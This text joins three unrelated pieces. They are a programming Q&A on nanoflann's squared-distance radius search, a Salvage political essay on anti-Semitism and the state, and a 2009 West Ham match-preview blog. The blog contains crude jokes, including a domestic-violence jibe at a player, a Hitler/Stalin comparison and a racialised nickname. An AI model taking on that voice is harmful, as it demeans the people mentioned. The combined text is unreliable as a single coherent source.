    {   // Find nearest neighbors in radius
        const float search_radius = 0.1f;
        std::vector<std::pair<size_t, float> > matches;

        nanoflann::SearchParams params;

        const size_t nMatches = index.index->radiusSearch(&query_pt[0], search_radius, matches, params);

        std::cout << "RadiusSearch(): radius = " << search_radius << " -> "
                  << nMatches << " matches" << std::endl;
        for(size_t i = 0; i < nMatches; i++)
            std::cout << "Idx[" << i << "] = " << matches[i].first
                      << " dist[" << i << "] = " << matches[i].second << std::endl;
        std::cout << std::endl;
    }
}

What I want is to have the points within a radius of 0.1, so, what I expected was the first three elements in the matrix but to my surprise it returned the first 5 elements. Checking the distances return it seems to me that it is not the actual distance but the distance-squared (right?) so I squared the radius to get what I expected but unfortunately it returns only the first point.
So I increased a little bit the radius from 0.1^2 = 0.01 to 0.02 and finally got the points I wanted.
Now, the question is, shouldn't the points laying on the perimeter of the neighborhood be included? Where can I change this condition in nanoflann?

A: The full definition of KDTreeEigenMatrixAdaptor starts like this:
template <class MatrixType, int DIM = -1,
          class Distance = nanoflann::metric_L2,
          typename IndexType = size_t>
struct KDTreeEigenMatrixAdaptor
{
//...

So, yes: the default metric is the squared Euclidean distance, the L2_Adaptor struct, and documented as follows:

Squared Euclidean distance functor (generic version, optimized for high-dimensionality data sets).

As for the second issue, there are two aspects. First one is that you should not rely on equality when it comes to floating point numbers (obligatory reference: David Goldberg, What every computer scientist should know about floating-point arithmetic, ACM Computing Surveys, 1991).
Second is that in principle, you are right. nanoflann is based on FLANN, in which's source code you may find the implementation of CountRadiusResultSet class, used by the radiusSearch search method. Its key method has the following implementation:
void addPoint(DistanceType dist, size_t index)
{
    if (dist<radius) {
        count++;
    }
}

Whereas it seems that a common definition of this problem involves "less than or equal", as for example in the following reference (Matthew T. Dickerson, David Eppstein, Algorithms for Proximity Problems in Higher Dimensions, Computational Geometry, 1996):

Problem 1. (Fixed-Radius Near-Neighbors Search) Given a finite set S of n distinct points in Rd and a distance . For each point p ∈ S report all pairs of points (p,q), q ∈ S such that the distance from p to q is less than or equal to .

(the last emphasis by me)
Still, that's mathematics and in Computer Science the floating-point arithmetic problems effectively inhibit thinking about equality in such a strict manner.
It seems that your only choice here is to slightly increase the radius, because the usage of the CountRadiusResultSet class is hard-coded in radiusSearch method implementation inside FLANN.


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Salvage is published twice a year; in spring and autumn. To see our past issues, click here.
Recentring the State: A Response to Barnaby Raine on Anti-Semitism
by Sai Englert | December 17, 2019
This piece was first published in print in Salvage #7: Towards the Proletarocene. It is a response to Barnaby Raine's piece Jewophobia, which was published in Salvage #6: Evidence of Things Not Seen. The latest issue can be ordered individually here, or as part of a subscription, available here. Where our back issues are still available, they can be ordered here. Our poetry, fiction and art remains exclusive to the print edition, and some online content, including PDFs of all of our back issues, is only available to subscribers.
With ongoing smear campaigns against the Palestine solidarity movement as organised as they are cynical, and with the genuine growth of anti-Semitic violence – alongside growing racist attacks across the board – grappling seriously with anti-Semitism is of great strategic importance.
In the last issue of Salvage, Barnaby Raine's raised important questions about the contemporary nature of anti-Semitism in his article 'Jewophobia'. His contribution in this journal and elsewhere has been valuable given that the debate on anti-Semitism has been taken over by the Right and far Right, which attempts to discredit anti-Zionism or solidarity with the struggle for Palestinian liberation, whilst simultaneously masking its own racism – including against Jewish people.
Much discussion of contemporary anti-Semitism accepts a framing that suggests that the problem somehow emanates from Palestine. International solidarity movements with the Palestinian struggle for liberation, and by extension the Palestinian people themselves, are repeatedly identified as the source of growing anti-Semitism in the West – and this despite all reliable data pointing to the far Right as the overwhelmingly dominant source of anti-Semitic acts. This framing obstructs any understanding of the specific place of Jewish communities in our own societies, the centrality of anti-Semitism in the historic construction of Western states, or the connection between the contemporary growth of anti-Semitism and other forms of racism (primarily Islamophobia). At the same time, it allows discussions relating to Zionism to be framed almost exclusively as relating to Jews in the West, rather than to the ongoing settler-colonial dispossession, murder, and displacement of the Palestinian people at the hands of the Israeli state and its supporters. This erasure of Palestinians from discussions relating to Zionism touches, as we shall see, on the very nature of present-day anti-Semitism. This framing is then an assault on effective anti-racist and anti-imperialist struggles and campaigns.
We lack a clear and precise analysis of contemporary anti-Semitism, its origin and social role, particularly with respect to the West. Raine's work opens up such discussion on the Left, standing in trenchant opposition to the ongoing settler-colonial project in Palestine, and focusing on the specific social role of anti-Semitism today. Crucially, Raine investigates processes of identity formation and racialisation, illustrating how contemporary anti-Semitism has morphed under the neoliberal assault, with its foreclosure of alternative horizons, and today reinforces demobilisation of social struggle through conspiracy theories featuring unchallengeable, secret cabals.
Raine also touches on how the conflation of Judaism and Jewish identities with Zionism, as ideology and political movement, contributes to constructing a new Jewish identity in which Jews are cast as defenders of the Western world at home and abroad – a construction that undermines rather than protecting Jewish populations. This is not necessarily a new observation (indeed, it has been central to anti-Zionist Jewish politics from the late nineteenth century) but it is well worth stressing today once more.
Such a focus allows us to make sense of a world in which figures on the (far) right defend Israel, are celebrated by Zionist organisations as friends of the Jewish people, while simultaneously collaborating with, or actively encouraging, anti-Semitic or even fascist political actors at home. Consider, for example, the British Tory government's close relationship with Israel and simultaneous development of close political ties with the openly anti-Semitic government in Hungary, or Donald Trump's courting of both hard-line Zionists and the white-supremacist and anti-Semitic right. It also helps clarify how the historically anti-Semitic far Right across the Western world has, in recent years, reinvented itself as pro-Israel, a change starkly illustrated in the apparent generational divide within the Le Pen clan.
For all the strengths of Raine's essay, there are shortcomings. Most problematically, Raine's analysis of anti-Semitism overemphasises the phenomenon's specificity vis-à-vis other forms of oppression, while failing to identify how contemporary anti-Semitism emerges and is reproduced. His piece gives a broad overview of the ways in which anti-Semitism operates and manifests, but does not identify its structural origins. This failure tends towards a totalising view of contemporary anti-Semitism, and one which leaves little room for action by the same Left he criticises for failing to understand the current conjecture.
In fact, it seems that it is partly this lacuna that leads Raine to admonish the Left for misunderstanding what he sees as its own variation of anti-Semitism: if the construction of racism has no identifiable origin, then perhaps it might be generated by all social actors, the (often small and institutionally marginalised) Left included. His approach fails to situate anti-Semitism in relation to other forms of racism, reproducing the silo-approach of much contemporary identity politics – on both the Left and the Right – which insists on treating every form of oppression as fundamentally distinct and specific.
My analysis certainly does not contradict Raine's in toto – in fact it resonates with a great deal of the latter parts of his piece. However, key to my analysis – and lacking in Raine's – is the state. In keeping the state at the centre, not only can this account rigorously historicise the emergence of contemporary anti-Semitism, it also indicates strategic directions.
A new reading of Anti-Semitism?
In his piece, Raine's position is that anti-Semitism – in fact he often uses the word Jewophobia as a broader category, encompassing different historical expressions of hatred of Jews, including anti-Semitism – should not primarily be understood as racism. Instead, he theorises it as a 'conservative fetish' or, more specifically, 'a conservative form of subaltern consciousness, whose danger lies partly in providing a distorted frame through which to see the world, a frame inimical to meaningful human emancipation'. Following from this, he argues that the extent of real anti-Semitic feeling across society is likely much broader than is generally imagined. Anti-Semitism, for Raine, is primarily about its social function in providing an alternative reading of the world's woes, that does not threaten the status quo or real structures of exploitation and oppression, but instead projects onto Jews responsibility for the violence and poverty of the world.
There is much to agree with here. It is undeniable that conspiracy theories about Rothschilds running the world, secret cabals forcing governments to act against their own interests, or the supposed Jewish control over finance, entertainment, and media function as effective ideological tools to detract from real ruling-class power. If the problem is an unseen, 'different' and unaccountable elite, real structures of control and the system as a whole are off the hook.
But Raine does not stop there. He also appears to understand this as qualitatively different from other forms of oppression. Indeed, despite recognising that other ideological constructions play this role – consider current liberal obsessions with Russian hackers or anti-Asian racism parading as principled opposition to China's rise – Raine claims that
[t]his is a thoroughly different logic of fear from the one common to more patronising racisms, and it is especially virulent since it entertains little possibility of acculturating Jews into Christian mores, as is the preferred strategy of liberal racists in most cases. We Jews are already too clever – clever enough to outsmart only-human gentiles, is the fear – and so anti-Semitism is perpetually paranoid and defensive where modernity's racisms usually self-present with a benevolent, 'civilising' edge'.
Raine's belief of this fundamental difference – that anti-Semitism is never only racism, unlike most of its 'more patronising' bedfellows – is never sufficiently explained, nor why the construction of Jews as 'superior' marks it out. Why is this different from, let's say, the way South Asian communities within the former British colonies in the African continent are constructed as intelligent, cunning and out to destroy local economies? Does this not also echo strongly with other so-called model minorities[1], such as East-Asians in North America, who are counterposed to other racialised minorities, and whose supposed industrious character, international networks, and cunning poses a threat of future domination? It seems that what these forms of racism have in common are the (real or imagined) minority status, international networks, and localisation in trade and finance of its victims.
In addition, it seems, that it is always the role of oppression to construct certain groups of – already structurally weaker – people as the physical embodiment of specific social ills. In that sense while East Asian, Jewish, or South Asian communities might be constructed as the embodiment of financial inequality, other groups are blamed for other issues: migrants destroy the welfare state, women push men out of the workplace, black people undermine the quality of education, Muslims spread violence – to name but a few.
The state constructs populations that become identified as embodied social problems; it erects them as shields behind which ruling class power can hide. The role of analysis is to understand how these identities are constructed, imposed, and why they are effective enough to gain a life of their own within society. Crucially, these different forms of oppression are also connected and constructed simultaneously by the state. The specific racialisation of East Asian communities in the US for example, plays an important role in justifying the economic deprivation of African American communities as victims not of structural racism or capitalist exploitation, but from the former's cunning economic strategies. In addition, it then also works as a justifying mechanism for state violence to supposedly protect different racialised and oppressed communities from one another.
This leads to the second issue with Raine's analysis. He never makes clear his explanation for where modern anti-Semitism originates, what structures give rise to it, and therefore – by extension – where one should focus energy to challenge it. The very movement between anti-Semitism and Jewophobia throughout the piece captures something of this lacuna. At times, Raine seems to describe a cultural phenomenon that he feels always already exists, and is not in fact constructed and imposed. As such he describes it variously as an 'unconscious phobia of Jews', 'a structure of thinking', a form of 'anti-political pessimism', and as a 'discourse', never rooting these in anything structurally identifiable. This leaves the reader with the impression that anti-Semitism can be explained by means of mere ideas, or via culture, rather than requiring a material explanation and history.
This nebulous and implied analysis of anti-Semitism, as a primarily ideological rather than material relation, also has the curious consequence of giving weight to the Rabbinical view that sees violence directed against the Jewish people as emanating from the jealousy of the gentile world of their success and blessings. Raine writes, for example that '[i]t is true that times of Jewish security and prosperity have often summoned anti-Semitism, which tells us something important about the anti-Semitic worldview'. What that 'something important' is, is not spelled out. And again: '[t]he paranoid theory of history still contains its ounce of truth. Jewish success always was the perfect catalyst for anti-Semitic thinking'. Anti-Semitism, by this account, does not seem to originate in the social contradictions of the society where it emerges from, but, at least in part, in Jewish success. An idea which would be surprising to the European Jewish masses of the nineteenth and early twentieth century to say the least. It over-emphasises anti-Semitism as a spontaneous grassroots form of hatred amongst the people, rather than identify elite and structural processes – much like contemporary discussion of 'white working-class' racism against migrants.
Raine then paints a picture of anti-Semitism as a reactionary form of subaltern consciousness, which is fundamentally distinct from other forms of oppression. In addition, it is not located in clearly identifiable material relations or structural processes. Instead, it appears in Raine's analysis as a modern form of an idealist and a-historical Jewophobia. With this lack of historical perspective, the analysis presented in his piece is not without parallels to Afro-Pessimist understanding of anti-Blackness as universal and fundamentally distinct from other racializing mechanisms.
The post-WWII state and the 'new Jew'
It was the early Zionist movement's claim that by settling Palestine and constructing agrarian communities of European Jews, it would create a so-called 'new Jew'. This 'new Jew' would cast aside what Zionists imagined to be the traits of diasporic life, and would be reborn through labour and productive contact with the land. The imagery of the new Jew as muscular, male, and both a worker and a soldier became ubiquitous in Zionist propaganda. It represented the ethos of the movement. It aimed at casting off the pariah, the weak, the parasitic, and replacing it with the conquering, the productive, and the strong. Aside from highlighting how deeply Zionism had integrated the caricatures of European anti-Semitism, it also tells an important story about its goal: the construction of a settler colonial state in Palestine was aimed at joining the European family of nations and 'normalising' the Jewish people in a way neither the Haskala's assimilation, or the radicals' revolutionary struggles could. Yet, it was not in Palestine, but in the heart of the Western world, that the identification of Jews would change drastically in the aftermath of the Nazi genocide and the creation of the Israeli state through the expulsion of hundreds of thousands of Palestinians.
Indeed, after WWII a double process took place that fundamentally transformed the way Jewish populations in the West were understood and racialised, as I have argued at greater length in 'Judaism, Zionism, and the Nazi Genocide', in Historical Materialism. If this process led to the outcome that Raine describes, it is essential to inscribe it within a series of specific state-led processes. Indeed, doing so helps making sense of current political developments, while also clarifying where activists should focus their work.
On the one hand, the Nazi genocide came to play a central role in the West's projection of self from the 1960s onwards. A specific, whitewashed version of the Holocaust – in which European anti-Semitism, its continuities with colonial racial ideologies and practices, and western support for Hitler against the threat of Bolshevism, were silenced – became a central way in which Western states narrated their own recent past. In an increasingly decolonised world, where they were forced to reckon with the horrors of colonialism abroad, and where their oppressive and exploitative treatment of the descendants of the formerly colonised at home was increasingly challenged by growing anti-racist movements, the Holocaust and its remembrance became a way for Western nations to present themselves as having changed, having learned the lessons of history, and having graduated to the status of committed anti-racism. The most striking gap between rhetoric and practice in this respect, is the annual marking by Western states of Holocaust remembrance and celebrating German reparations as crucial aspects of accounting for and repairing the crimes of the past, while continuing to refuse to acknowledge (let alone atone for and repair) the full-extend (and contemporary relevance) of human, cultural, and material destruction wrought by their colonial regimes and slave trading economies across the Global South.
Moreover, the fact that this remembrance was, at the very least, unwilling to recognise the depth of active support for the Nazis and the widespread anti-Semitism within European and North American ruling classes is very telling about the limited nature of this process. It also helps make sense of current events, where Macron can celebrate Marshal Petain's role in leading France to victory in WWI or British pundits can react with outrage to the students who occupied a Churchill themed café in London, without either men's racism or anti-Semitism getting in the way of the national narrative of pride and memory. In his excellent The End of Jewish Modernity, Enzo Traverso argues that the commemoration of the Holocaust has become central to Western nation's civic religions. It has become a cornerstone of their image of self – as liberal, egalitarian, and just – conveniently avoiding structural changes and a broader reckoning with the real history of Western power across the world, of which Jews as well as formerly colonised and enslaved people bore the brunt. Aimé Césaire, the father of the Negritude movement, already pointed out in the 1950s that Nazism could not be understood without being re-inscribed in the global history of European colonisation.
This process of re-directed recognition went hand in hand with the increasingly central role played by Israel in Western foreign policy in the Middle East. In fact, recognition of the horrors of the Nazi genocide was mobilised to justify and explain the military, economic, and diplomatic support to Israel and – by extension – Western foreign policy in the region. It continues to play this role today. It is bitterly significant that the German state was allowed to 'repay' the Jewish people through financial and military deals with Israel, helping the young state expand its control over land and intensify its exclusion of its indigenous inhabitants, while Holocaust survivors continued to live in poverty and isolation both in Europe and Israel.
Simultaneously, it became clear to the United States, and by extension the rest of the Western world, that Nasser's Egypt and other Arab nationalist governments would not join Washington in its efforts to contain the USSR. They then turned fully towards supporting Israel against these regimes. The 1967 war sealed this alliance and made Israel central to US strategy in the region, first in order to defeat Arab nationalist states militarily, and then later to impose their political and economic integration into its sphere of influence. This relationship continues to this day through economic deals signed across the Middle East and North Africa, in which normalisation with Israel continues to be a central way for the US to institutionalise the region's regimes' subservience to its rule (see for example Adam Hanieh's excellent discussion of this process in his Lineages of Revolt).
Jewish people, in the process, found themselves increasingly catapulted out of the position of being essentialised as a population living at the margins of the nation state and identified with communist revolution, and essentialised instead as the gatekeepers of Western legitimacy at home and abroad. They were increasingly cast, by Western states, as the defenders of the legitimacy of the Western world when facing the Global South, as well as Black and Asian populations at home. Jews became the shield behind which the Western states hid when faced with demands of anti-racist and anti-imperialist movements.
This change was highly attractive to the leadership of an oppressed community that saw in this new paradigm a route towards integration and acceptance within elite circles, which had remained, until then, closed off to them. It is striking for example that it is in the early to mid-1970s that AIPAC became a major player in US politics – that is after the US has become Israel's key imperial sponsor. Norman Finkelstein, in his Knowing too Much, points out that the official Jewish leadership in the US became attached to Zionism in the post 1967 period, because it was a way to integrate into the American political elite. They therefore become Zionists as loyal American citizens, rather than as separatist Jewish organisations. Simultaneously, a new cultural image of the 'tough Jew' emerged in American life. Echoing the 'new Jew' of the Zionist movement in pre-1948 Palestine, it focussed on Jewish gangsters, occupying soldiers, and the right for the modern Jew, in the words of Rich Cohen, 'to be a bully'.
This logic, which understands liberation as based on closeness to state-power rather than through the transformation of existing power structures, so common amongst the elites of oppressed communities, is strikingly applicable to the official Muslim institutions today. However, much like its Jewish counterpart in the 1920s and 1930s it has little enticing to bring to the table for the vast majority of the community under attack. David Rosenberg's brilliant Battle for the East End shows how the Board of Deputies' response to growing anti-Semitism in pre-War Britain was one focussed on respectability and a desperate attempt to win favour with those (often anti-Semites) in power. As such the militant responses by Jewish activists who (successfully) organised mass resistance against the British Union of Fascists in the streets were seen as a threat to that strategy. This tension continues to have important ramifications today.
While structurally Jewish life has changed considerably – Jews are no longer structurally discriminated against in socio-economic terms – the focus on closeness to state power by community leaders continues to put their base at risk. Indeed, it normalises the narratives that equate Jews and Zionism/Israel, participates in the state-led strategy of pitting Jews against other racialised groups (primarily Muslims), and closes its eyes on ruling class normalisation of anti-Semitism. The refusal of the BoD in Britain for example to challenge the Conservative government's normalisation of fascist leaders in Hungary or Johnson's close ties with Bannon, or the defence by prominent Jewish organisations in the US of Trump are powerful examples of this tendency.
This is important because what this analysis of the changing racialization of Jews in the West does, is avoid limiting itself to a quasi-conspiratorial approach, which obsesses over the behaviour of the leadership of Zionist Jewish organisations (see for example The Israel Lobby by John Mearsheimer and Stephen Walt), nor does it locate anti-Semitism within ill-defined narrative processes. Instead it reflects on the structures of the state that have created the current political logic within which those organisations operate. It is the change in their states' strategy – at home and abroad – that has led to a change of status of Jewish people in the West, rather than the other way around. Ironically, this makes their newly acquired status precarious and dependent on the continuation of the current political order.
It helps to make sense of why the assault on the Corbyn-led Labour Party or on the Palestine solidarity movement, on the basis of its supposed institutionally anti-Semitic nature (despite continuous failure to evince anything beyond anecdotal evidence for this claim) has been so effective, because it plays into a narrative which has been central to the policies of Western governments for decades. Jewish communities are only extended access to limited assimilation by the state when it identifies them as extensions of Zionism and/or Israel. Therefore, they can also be used as shields behind which the state hides when Zionism and/or Israel are threatened. Similarly, when Jewish groups or individuals reject Zionism, the state can ignore them, as they do not fit the assimilationist mould.
The question is not whether there has been a concerted effort to attack on these fronts, which has involved the Israel lobby. This much is evident and has been documented extensively, including on camera by Al-Jazeera 'The Lobby' documentaries in both the US and the UK. Nor is the question whether some have engaged in good fate in those campaigns. They undoubtedly have. The question instead is about the effectiveness of these campaigns. Its success should not be laid at the door of the lobby itself and its supposed extraordinary power – with all the worrying undertones that come with it – but understood as rooted in the fact that the attack cleaves in the same political direction as the ideology of Western states: mobilise Jewish populations as shields behind which to hide Western crimes and racism at home and abroad. This is the nature of modern anti-Semitism. It is on this basis that it should be fought.
This approach also helps make sense of how governments in France, Britain, or the US – amongst others – simultaneously move to criminalise Palestine solidarity activism (all three states have taken steps to outlaw BDS, and Macron has recently announced his desire to legally equate anti-Semitism and anti-Zionism) under the guise of protecting Jewish communities at home, while simultaneously normalising the anti-Semitic far-right. All three governments entertain, for example, friendly relations with the openly anti-Semitic government of Hungary. In the UK, it is particularly worrying that Boris Johnson has close ties with the anti-Semitic Steve Bannon, specifically in the latter's attempts to unify the European far-right, while presenting himself as a friend and protector of the Jewish people.
The burden of protecting Western states is pushed onto Jewish communities. The 'new Jew' so desired by the early Zionist movement has emerged in the West. He (he is always a he) is constructed as a defender of the state and the West's interests in the Middle East. He is counterpoised to racialised communities at home who fight for their political liberation. In the process, Jewish communities, as well as the racialised groups they are pitted against by state policy – Muslims and Palestinians primarily – are continuously put in danger in the process. It is therefore not surprising that there is such a strong victimising narrative emerging from Zionist circles. This is not only a political strategy by pro-Israeli organisation. It is also a reality. Ironically, by drawing Jewish communities nearer to the state and constructing them as an extension of their policies, Western states are laying down the basis for the victimisation of Jewish communities.
Bringing Back Political Agency
David Feldman and Brendan McGeever of the Pears Institute for the Study of Anti-Semitism have repeatedly observed, in the public 'debates' of recent months, a split between the struggle against anti-Semitism and the wider anti-racist movement. They have not, however, provided a plausible explanation for this crucial observation (though in fact in one article – which they inexplicably chose to publish in the Israeli press – they seem to point the finger of blame for this at the British anti-racist movement).
The foregoing analysis might go some way to addressing this, and point to a possible direction to challenge it.
The contemporary struggle against anti-Semitism cannot be waged without the state in its focus, nor can it be effective without demanding that the fate of Jewish communities be disentangled from Western states, their foreign policy and the continuation of Israeli settler-colonialism. It must be a unitary struggle against the racialisation of all communities, through which the murderous history of the West can be acknowledged, and the ongoing structures of oppression rooted in this past can be dismantled – to the benefit of all oppressed communities. This includes Jews, who still find themselves collectively defined and identified by the state – to their detriment – in the ways laid out above. In this sense, not only is anti-Zionism not in contradiction with the struggle against anti-Semitism, as our rulers would have us believe, but it is inextricable from it. No one is free, as the saying goes, until we all are.
While the 'official' voices of the Jewish community can often make it seem like this strategy is an impossibility, a flurry of Jewish groups – from Jewish Voice for Peace and the more recent 'Never Again is Now' movement in the US, to the Jewish Network for Palestinians and Jewdas in the UK, among many others – have already started making it a reality. Similarly, every major poll within the Jewish population in the West shows a growing disengagement from Israel amongst young Jews. The task of the Left is to intensify its opposition to the colonisation of Palestine, to the violence meted out against black, Muslim, migrant, and all other racialised peoples. It simultaneously needs to understand that the state's attempt to counterpose Jewish people to these struggles is inextricable from the contemporary nature of anti-Semitism. It must be fought relentlessly. To do so effectively however, those struggling must identify the state as their target and mobilise accordingly.
While much of the historical focus in analyses of anti-Semitism is on Eastern and Central Europe – and for good reason given the specific history of European states with Ashkenazi Jewish communities and their diaspora – there is work to be done on the history of Jewish communities' relation with Europe in colonial contexts. It is striking for example that all the while oppressing Jews at home, the French state granted citizenship to Jewish Algerians, who were thereby given access to French education, better employment opportunities, and semi-integration into colonial society. In so doing, it constructed an intermediary community between itself and the 'indigenes' that could be erected as a shield behind which it could hide. The failure of communist and nationalist activists to win over Jewish Algerians to the project of building an independent Algerian state and to abandon their inclusion into the French state led to the effective destruction, through exile, of the Algerian Jewish community. It also contributed to the emergence of a very limited vision of the identity of the newly independent Algerian state, something that remains a major issue today for non-Arabs and non-Muslims in the country. This state of affairs resonates strongly with the present analysis of contemporary anti-Semitism offered in this article. It also serves as a reminder of the strategic importance of identifying state strategies and structures of identification effectively, in order to lead successful, unifying, liberation struggles from below.
[1]In fact, the nineteenth century French critic of emerging capitalism and raving anti-Semite Charles Fourier identified the Chinese people as equally depraved and dangerous to civilisation as the Jews.

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Hull City vs West Ham United: Match Preview - 21/11/2009
1. Ain't No Mountain High Enough
This article marks something of an epoch for The H List, being published as it is from the southern hemisphere.
In a frankly ridiculous bid for increased market share, Headhammer Shark and I have taken the bewilderingly radical approach of posting one author to Australia and it was I who took one for the team, typing as I am in shorts, t-shirt and 30-degree heat.
I have an equally baffling theory that the resultant time difference gives me a better chance of uploading articles in a quasi-punctual fashion. Not difficult when we currently publish once every Mayan dynasty.
2. Opportunity Knocks
Back in mid-October, had I offered you five points from Arsenal, Sunderland, Villa and Everton would you have taken it?
From the first three games, definitely, despite the frustration of letting a two goal lead slip at The Stadium of Light. A wasteful loss to an under par Everton side, however, contributed to a sense of missed opportunity.
To take eight points from those tricky fixtures would have not only provided us with a tangible buffer to the relegation zone but, more importantly, really given the team what would have been a warranted boost of confidence.
As it is, I feel that any confidence accrued post-Villa took an appreciable knock after the Everton match – the kind of knock which could manifest itself against Hull, when the added momentum from a win against The Toffees would have stood us in fine stead for our trip up North.
3. Opposition
As I am positioned 'Down Under' in a land rife with opposites, I can almost persuade myself that Saturday's visit to Hull City constitutes a top four clash, but of course it doesn't. It's a tooth and nail, bare-knuckle fistfight of a fixture.
Occupying two of the bottom four league positions, taking three points from this match is a must for both teams.
Natural Selection and all laws of nature suggest that it is us who should emerge victorious from this squalid affair, but being West Ham we will obviously do everything in our power to subvert the accepted wisdom of Evolution by preaching Creationist dogma from atop the 3-million year old fossilised remnants of Jimmy Bullard's knees.
Hull City are a bad team. You don't need me to tell you that, it's more than apparent each week. Last season's survival was wholly due to a remarkable early season run, something they have been incapable of this year.
A chronic case of Second Season Syndrome has gripped the KC Stadium and they are ill-equipped to deal with it. The opportunity to bolster in the January transfer window will do them little good if manager Phil Brown is still holding the purse strings, although it may present us with the chance to offload Nigel Quashie for £27million.
A 2-1 home win against Stoke City last time out postponed the Chairman's axe from slicing into Phil Brown's bronzed neck. It would be sweet to nudge the self-regarding Brown a step closer to the exit.
4. Picture Book
'Oi, Phil! What's your position on the concept of humility?'
5. History
Last season we managed to escape from Hull with just the 1-0 defeat, coming as it did in the midst of Zola's early shaky run courtesy of a header from the now £12million-rated defender (UNBELIEVEABLE), Michael Turner.
Cole and Ilunga both missed great chances in the first half and Carlton also rattled the bar at 1-0 down. It was a familiar tale of creating more gilt-edged chances than a lesser team, who inevitably get the winner with their sole attempt.
The match was also notable for the fact that Marlon King took time out from beating women to make an appearance.
This season's early shaky run may be at an end, although the jury's still out. Saturday is a crunch test in that regard.
6. Cheat! Cheat! Cheat!
Is your team full of underachieving egomaniacs about to crash out of World Cup qualification? Just use these.
7. Cole-Fired
It came as a surprise to no-one that the absence of Carlton Cole against Everton and for the majority of the Villa game shone a retina-searing light on our dearth of potent attacking options.
Young Zavon Hines did remarkably well against Villa, poaching as he did the injury-time winner. He was however as wasteful as lottery-winning chav in the Everton match, and alongside Guillermo Franco forms a front line with zero physical presence.
Franco looks a more accomplished player than David DiMichele, with a sound touch and composure when in possession. However, at this early stage I may as well have drawn the comparison that Hitler slaughtered slightly less people than Stalin.
Cole's remarkable early season form has inevitably attracted the attention of some of the big guns, with Liverpool and Manchester United sniffing around our nubian prince. He has emerged as a player that three of the traditional Big Four are craving.
The Club have again insisted that our star performers are not for sale and that our finances are not so precarious that we are unable to resist a £20million+ offer. We all know that to sell Cole constitutes Premiership suicide and any income gained will be swiftly negated by the absence of the TV money guaranteed by survival.
He is a solid incarnation of the shadow of a player he once threatened to be, and while I was always an admirer of his endeavour, the addition of a killer instinct, tenacity, close control and Optimus Prime-esque strength has slowly led me to fall in love with him.
If that assertion doesn't cause him to move on come January, then we should be able to hang onto him 'til the summer.
8. Phil Clown
Sometimes people come into our lives at just the right time. Serendipity, kismet, karma... Call it what you will, but very occasionally The Fates conspire to provide us with a tonic when the prognosis looks bleak.
Mercifully, the austere prospect of writing an upbeat preview for a trip to Hull is assuaged by their unequivocal buffoon of a manager.
When he's not giving halftime teamtalks on the pitch, leading the masses in a televised singsong as if he were Sir Cliff at Wimbledon, or conducting a live TV interview sat in front of a self-portrait big enough to make Chairman Mao blush, Phil Brown is busy taping radio mics to his face.
How can I add anything to make him look anymore stupid?
When invited onto a live Sunday morning chat show, what kind of a man's thought processes constitute:
'Right, what to wear.... Blue pinstripes, pink sweater. Risqué? Tell you what, I'll deflect any abject shame by slinging said jumper casually over the shoulders.'
The most nauseating thing is you know that he was in the mirror for a good hour, bellowing fashion stratagems downstairs to Mrs. Brown as she whisked up the Aunt Bessie's pudding batter.
Sorry, Phil. You're not nibbling on a delicate brioche on the Champs Elysees, sipping an espresso and sifting through Le Monde.
You're in Hull.
Posted by The Boleyn Beluga at Friday, November 20, 2009
Labels: Hull, Match Previews
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